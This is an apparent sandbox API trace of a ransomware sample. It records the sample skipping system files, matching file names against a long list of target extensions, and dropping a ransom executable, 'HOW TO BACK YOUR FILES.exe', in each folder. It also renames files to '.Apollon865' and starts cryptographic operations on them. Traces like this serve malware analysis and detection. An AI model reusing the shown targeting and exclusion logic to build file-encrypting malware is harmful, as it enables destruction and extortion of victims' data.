	[0077.990] lstrcmpiW (lpString1="MST", lpString2="v12") returned -1
	[0077.990] lstrlenW (lpString="vis") returned 3
	[0077.990] lstrcmpiW (lpString1="MST", lpString2="vis") returned -1
	[0077.990] lstrlenW (lpString="vpd") returned 3
	[0077.990] lstrcmpiW (lpString1="MST", lpString2="vpd") returned -1
	[0077.990] lstrlenW (lpString="vvv") returned 3
	[0077.990] lstrcmpiW (lpString1="MST", lpString2="vvv") returned -1
	[0077.990] lstrlenW (lpString="wdb") returned 3
	[0077.990] lstrcmpiW (lpString1="MST", lpString2="wdb") returned -1
	[0077.990] lstrlenW (lpString="wmdb") returned 4
	[0077.990] lstrcmpiW (lpString1=".MST", lpString2="wmdb") returned -1
	[0077.990] lstrlenW (lpString="wrk") returned 3
	[0077.990] lstrcmpiW (lpString1="MST", lpString2="wrk") returned -1
	[0077.990] lstrlenW (lpString="xdb") returned 3
	[0077.990] lstrcmpiW (lpString1="MST", lpString2="xdb") returned -1
	[0077.990] lstrlenW (lpString="xld") returned 3
	[0077.990] lstrcmpiW (lpString1="MST", lpString2="xld") returned -1
	[0077.990] lstrlenW (lpString="xmlff") returned 5
	[0077.990] lstrcmpiW (lpString1="I.MST", lpString2="xmlff") returned -1
	[0077.990] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0
	[0077.990] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0077.991] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0077.991] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033"
	[0077.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0077.991] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0077.991] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned 67
	[0077.991] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033") returned="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033"
	[0077.991] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.991] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.995] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.995] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x468f6d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x468f6d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.996] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.996] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.996] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.996] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x468f6d90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x468f6d90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.996] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.996] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.996] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.996] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.996] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2="Apollon865.txt.exe") returned 1
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2=".") returned 1
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2="..") returned 1
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2="windows") returned -1
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2="bootmgr") returned 1
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2="temp") returned -1
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2="pagefile.sys") returned -1
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2="boot") returned 1
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2="ids.txt") returned -1
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2="ntuser.dat") returned -1
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2="perflogs") returned -1
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2="MSBuild") returned -1
	[0077.996] lstrlenW (lpString="dwintl20.dll") returned 12
	[0077.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*") returned 69
	[0077.996] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="dwintl20.dll" | out: lpString1="dwintl20.dll") returned="dwintl20.dll"
	[0077.996] lstrlenW (lpString="dwintl20.dll") returned 12
	[0077.996] lstrlenW (lpString="Apollon865") returned 10
	[0077.996] lstrcmpiW (lpString1="intl20.dll", lpString2="Apollon865") returned 1
	[0077.996] lstrlenW (lpString=".dll") returned 4
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2=".dll") returned 1
	[0077.996] lstrlenW (lpString=".lnk") returned 4
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2=".lnk") returned 1
	[0077.996] lstrlenW (lpString=".ini") returned 4
	[0077.996] lstrcmpiW (lpString1="dwintl20.dll", lpString2=".ini") returned 1
	[0077.997] lstrlenW (lpString=".sys") returned 4
	[0077.997] lstrcmpiW (lpString1="dwintl20.dll", lpString2=".sys") returned 1
	[0077.997] lstrlenW (lpString="dwintl20.dll") returned 12
	[0077.997] lstrlenW (lpString="bak") returned 3
	[0077.997] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0077.997] lstrlenW (lpString="ba_") returned 3
	[0077.997] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0077.997] lstrlenW (lpString="dbb") returned 3
	[0077.997] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0077.997] lstrlenW (lpString="vmdk") returned 4
	[0077.997] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1
	[0077.997] lstrlenW (lpString="rar") returned 3
	[0077.997] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0077.997] lstrlenW (lpString="zip") returned 3
	[0077.997] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0077.997] lstrlenW (lpString="tgz") returned 3
	[0077.997] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0077.997] lstrlenW (lpString="vbox") returned 4
	[0077.997] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1
	[0077.997] lstrlenW (lpString="vdi") returned 3
	[0077.997] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0077.997] lstrlenW (lpString="vhd") returned 3
	[0077.997] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0077.997] lstrlenW (lpString="vhdx") returned 4
	[0077.997] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1
	[0077.997] lstrlenW (lpString="avhd") returned 4
	[0077.997] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1
	[0077.997] lstrlenW (lpString="db") returned 2
	[0077.997] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0077.997] lstrlenW (lpString="db2") returned 3
	[0077.997] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0077.997] lstrlenW (lpString="db3") returned 3
	[0077.997] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0077.997] lstrlenW (lpString="dbf") returned 3
	[0077.997] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0077.997] lstrlenW (lpString="mdf") returned 3
	[0077.998] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0077.998] lstrlenW (lpString="mdb") returned 3
	[0077.998] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0077.998] lstrlenW (lpString="sql") returned 3
	[0077.998] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0077.998] lstrlenW (lpString="sqlite") returned 6
	[0077.998] lstrcmpiW (lpString1="20.dll", lpString2="sqlite") returned -1
	[0077.998] lstrlenW (lpString="sqlite3") returned 7
	[0077.998] lstrcmpiW (lpString1="l20.dll", lpString2="sqlite3") returned -1
	[0077.998] lstrlenW (lpString="sqlitedb") returned 8
	[0078.008] lstrcmpiW (lpString1="tl20.dll", lpString2="sqlitedb") returned 1
	[0078.008] lstrlenW (lpString="xml") returned 3
	[0078.008] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0078.008] lstrlenW (lpString="$er") returned 3
	[0078.009] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0078.009] lstrlenW (lpString="4dd") returned 3
	[0078.009] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0078.009] lstrlenW (lpString="4dl") returned 3
	[0078.009] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0078.009] lstrlenW (lpString="^^^") returned 3
	[0078.009] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0078.009] lstrlenW (lpString="abs") returned 3
	[0078.009] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0078.009] lstrlenW (lpString="abx") returned 3
	[0078.009] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0078.009] lstrlenW (lpString="accdb") returned 5
	[0078.009] lstrcmpiW (lpString1="0.dll", lpString2="accdb") returned -1
	[0078.009] lstrlenW (lpString="accdc") returned 5
	[0078.009] lstrcmpiW (lpString1="0.dll", lpString2="accdc") returned -1
	[0078.009] lstrlenW (lpString="accde") returned 5
	[0078.009] lstrcmpiW (lpString1="0.dll", lpString2="accde") returned -1
	[0078.009] lstrlenW (lpString="accdr") returned 5
	[0078.009] lstrcmpiW (lpString1="0.dll", lpString2="accdr") returned -1
	[0078.009] lstrlenW (lpString="accdt") returned 5
	[0078.009] lstrcmpiW (lpString1="0.dll", lpString2="accdt") returned -1
	[0078.009] lstrlenW (lpString="accdw") returned 5
	[0078.009] lstrcmpiW (lpString1="0.dll", lpString2="accdw") returned -1
	[0078.009] lstrlenW (lpString="accft") returned 5
	[0078.009] lstrcmpiW (lpString1="0.dll", lpString2="accft") returned -1
	[0078.009] lstrlenW (lpString="adb") returned 3
	[0078.009] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0078.009] lstrlenW (lpString="adb") returned 3
	[0078.009] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0078.009] lstrlenW (lpString="ade") returned 3
	[0078.009] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0078.009] lstrlenW (lpString="adf") returned 3
	[0078.009] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0078.009] lstrlenW (lpString="adn") returned 3
	[0078.009] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0078.009] lstrlenW (lpString="adp") returned 3
	[0078.009] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0078.010] lstrlenW (lpString="alf") returned 3
	[0078.010] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0078.023] lstrlenW (lpString="ask") returned 3
	[0078.023] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0078.023] lstrlenW (lpString="btr") returned 3
	[0078.023] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0078.023] lstrlenW (lpString="cat") returned 3
	[0078.023] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0078.023] lstrlenW (lpString="cdb") returned 3
	[0078.023] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0078.023] lstrlenW (lpString="ckp") returned 3
	[0078.023] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0078.023] lstrlenW (lpString="cma") returned 3
	[0078.023] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0078.023] lstrlenW (lpString="cpd") returned 3
	[0078.023] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0078.023] lstrlenW (lpString="dacpac") returned 6
	[0078.024] lstrcmpiW (lpString1="20.dll", lpString2="dacpac") returned -1
	[0078.024] lstrlenW (lpString="dad") returned 3
	[0078.024] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0078.024] lstrlenW (lpString="dadiagrams") returned 10
	[0078.024] lstrcmpiW (lpString1="intl20.dll", lpString2="dadiagrams") returned 1
	[0078.024] lstrlenW (lpString="daschema") returned 8
	[0078.024] lstrcmpiW (lpString1="tl20.dll", lpString2="daschema") returned 1
	[0078.024] lstrlenW (lpString="db-journal") returned 10
	[0078.024] lstrcmpiW (lpString1="intl20.dll", lpString2="db-journal") returned 1
	[0078.024] lstrlenW (lpString="db-shm") returned 6
	[0078.024] lstrcmpiW (lpString1="20.dll", lpString2="db-shm") returned -1
	[0078.024] lstrlenW (lpString="db-wal") returned 6
	[0078.024] lstrcmpiW (lpString1="20.dll", lpString2="db-wal") returned -1
	[0078.024] lstrlenW (lpString="dbc") returned 3
	[0078.024] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0078.024] lstrlenW (lpString="dbs") returned 3
	[0078.024] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0078.024] lstrlenW (lpString="dbt") returned 3
	[0078.024] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0078.024] lstrlenW (lpString="dbv") returned 3
	[0078.024] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0078.024] lstrlenW (lpString="dbx") returned 3
	[0078.024] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0078.024] lstrlenW (lpString="dcb") returned 3
	[0078.024] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0078.024] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0078.025] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C"
	[0078.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfbc8 | out: hHeap=0x580000) returned 1
	[0078.025] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0078.025] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C") returned 62
	[0078.025] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C"
	[0078.025] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.025] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0078.041] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.041] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x46943050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46943050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0078.042] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.042] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.042] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0078.042] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x46943050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x46943050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.042] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.042] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0078.042] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0078.042] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0078.042] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="Apollon865.txt.exe") returned 1
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2=".") returned 1
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="..") returned 1
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="windows") returned -1
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="bootmgr") returned 1
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="temp") returned -1
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="pagefile.sys") returned -1
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="boot") returned 1
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="ids.txt") returned -1
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="ntuser.dat") returned -1
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="perflogs") returned -1
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2="MSBuild") returned -1
	[0078.042] lstrlenW (lpString="GrooveLR.cab") returned 12
	[0078.042] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*") returned 64
	[0078.042] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="GrooveLR.cab" | out: lpString1="GrooveLR.cab") returned="GrooveLR.cab"
	[0078.042] lstrlenW (lpString="GrooveLR.cab") returned 12
	[0078.042] lstrlenW (lpString="Apollon865") returned 10
	[0078.042] lstrcmpiW (lpString1="ooveLR.cab", lpString2="Apollon865") returned 1
	[0078.042] lstrlenW (lpString=".dll") returned 4
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2=".dll") returned 1
	[0078.042] lstrlenW (lpString=".lnk") returned 4
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2=".lnk") returned 1
	[0078.042] lstrlenW (lpString=".ini") returned 4
	[0078.042] lstrcmpiW (lpString1="GrooveLR.cab", lpString2=".ini") returned 1
	[0078.042] lstrlenW (lpString=".sys") returned 4
	[0078.043] lstrcmpiW (lpString1="GrooveLR.cab", lpString2=".sys") returned 1
	[0078.043] lstrlenW (lpString="GrooveLR.cab") returned 12
	[0078.043] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="GrooveMUI.msi" | out: lpString1="GrooveMUI.msi") returned="GrooveMUI.msi"
	[0078.043] lstrlenW (lpString="GrooveMUI.msi") returned 13
	[0078.043] lstrlenW (lpString="Apollon865") returned 10
	[0078.043] lstrcmpiW (lpString1="oveMUI.msi", lpString2="Apollon865") returned 1
	[0078.043] lstrlenW (lpString=".dll") returned 4
	[0078.043] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2=".dll") returned 1
	[0078.043] lstrlenW (lpString=".lnk") returned 4
	[0078.043] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2=".lnk") returned 1
	[0078.043] lstrlenW (lpString=".ini") returned 4
	[0078.043] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2=".ini") returned 1
	[0078.043] lstrlenW (lpString=".sys") returned 4
	[0078.043] lstrcmpiW (lpString1="GrooveMUI.msi", lpString2=".sys") returned 1
	[0078.043] lstrlenW (lpString="GrooveMUI.msi") returned 13
	[0078.043] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="GrooveMUI.xml" | out: lpString1="GrooveMUI.xml") returned="GrooveMUI.xml"
	[0078.043] lstrlenW (lpString="GrooveMUI.xml") returned 13
	[0078.043] lstrlenW (lpString="Apollon865") returned 10
	[0078.043] lstrcmpiW (lpString1="oveMUI.xml", lpString2="Apollon865") returned 1
	[0078.043] lstrlenW (lpString=".dll") returned 4
	[0078.043] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2=".dll") returned 1
	[0078.043] lstrlenW (lpString=".lnk") returned 4
	[0078.043] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2=".lnk") returned 1
	[0078.043] lstrlenW (lpString=".ini") returned 4
	[0078.044] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2=".ini") returned 1
	[0078.044] lstrlenW (lpString=".sys") returned 4
	[0078.044] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2=".sys") returned 1
	[0078.044] lstrlenW (lpString="GrooveMUI.xml") returned 13
	[0078.044] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.Apollon865") returned 87
	[0078.044] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.054] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0078.055] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=913) returned 1
	[0078.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfbc8
	[0078.056] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0078.066] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.066] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0078.066] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0xd8
	[0078.097] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000
	[0078.117] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0078.120] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.120] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0078.154] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.154] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.154] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.155] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.155] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
